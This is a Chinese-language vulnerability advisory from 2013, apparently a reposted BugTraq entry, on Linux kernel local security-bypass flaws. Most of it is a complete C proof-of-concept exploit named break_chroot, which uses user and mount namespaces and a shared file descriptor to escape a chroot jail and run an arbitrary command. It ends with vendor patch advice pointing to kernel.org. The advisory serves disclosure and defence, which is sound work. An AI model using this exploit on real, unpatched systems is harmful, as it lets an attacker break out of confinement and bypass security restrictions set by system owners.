Linux Kernel多个本地安全绕过漏洞

发布日期:2013-04-13
更新日期:2013-04-16

受影响系统:
Linux kernel
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 59052
 
Linux Kernel是Linux操作系统的内核。
 
Linux kernel存在多个安全绕过漏洞,攻击者可利用这些漏洞绕过某些安全限制并执行未授权操作。
 
<*来源:Andrew Lutomirski
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#define _GNU_SOURCE
 #include <unistd.h>
 #include <sched.h>
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <fcntl.h>
 #include <stdio.h>
 #include <string.h>
 #include <err.h>
 
#ifndef CLONE_NEWUSER
 #define CLONE_NEWUSER 0x10000000
 #endif
 
static void printcwd(void)
 {
  /* This is fugly. */
  static int lastlen = -1;
  char buf[8192];
  if (getcwd(buf, sizeof(buf))) {
    if (strlen(buf) != lastlen)
      printf("%s\n", buf);
    lastlen = strlen(buf);
  } else {
    warn("getcwd");
  }
 }
 
int fn(void *unused)
 {
  int i;
  int fd;
 
  fd = open("/", O_RDONLY | O_DIRECTORY);
  if (fd == -1)
    err(1, "open(\".\")");
  if (unshare(CLONE_NEWUSER) != 0)
    err(1, "unshare(CLONE_NEWUSER)");
  if (unshare(CLONE_NEWNS) != 0)
    err(1, "unshare(CLONE_NEWNS)");
  if (fchdir(fd) != 0)
    err(1, "fchdir");
  close(fd);
 
  for (i = 0; i < 100; i++) {
    printcwd();
    if (chdir("..") != 0) {
      warn("chdir");
      break;
    }
  }
 
  fd = open(".", O_PATH | O_DIRECTORY);
  if (fd == -1)
    err(1, "open(\".\")");
 
  if (fd != 3) {
    if (dup2(fd, 3) == -1)
      err(1, "dup2");
    close(fd);
  }
  _exit(0);
 }
 
int main(int argc, char **argv)
 {
  int dummy;
 
  if (argc < 2) {
    printf("usage: break_chroot COMMAND ARGS...\n\n"
            "You won't be entirely out of jail.  / is still the jail root.\n");
    return 1;
  }
 
  close(3);
 
  if (signal(SIGCHLD, SIG_DFL) != 0)
    err(1, "signal");
 
  if (clone(fn, &dummy, CLONE_FILES | SIGCHLD, 0) == -1)
    err(1, "clone");
 
  int status;
  if (wait(&status) == -1)
    err(1, "wait");
  if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
    errx(1, "child failed");
  if (fchdir(3) != 0)
    err(1, "fchdir");
  close(3);
 
  execv(argv[1], argv+1);
  err(1, argv[1]);
 
  return 0;
 }

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
Linux
 -----
 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 
http://www.kernel.org/

相关推荐